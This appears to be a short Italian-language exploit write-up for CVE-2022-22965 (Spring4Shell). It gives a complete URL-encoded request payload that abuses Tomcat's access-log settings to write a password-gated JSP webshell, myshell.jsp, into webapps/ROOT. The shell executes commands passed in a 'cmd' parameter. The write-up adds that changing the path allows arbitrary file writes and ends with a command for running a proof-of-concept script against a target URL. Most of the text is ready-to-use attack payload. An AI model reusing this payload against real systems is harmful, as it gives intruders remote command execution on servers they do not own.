
Ambiente Spring rce per CVE-2022-22965
Informazioni sull'ambiente
Configurazione dell'intestazione della richiesta
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",
Dati del corpo della richiesta
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Inviando il contenuto sopra, è possibile scrivere con successo una webshell sul sistema di destinazione, solitamente nel percorso webapps\ROOT\myshell.jsp
Se il percorso è controllabile, modificando il payload puoi scrivere qualsiasi file tu voglia.
Principalmente modificando il formato di registrazione dei log di Tomcat, scrivendo la shell sotto forma di log.
Per una riproduzione comoda, usa direttamente il seguente poc
python3 poc.py http://test.com/hello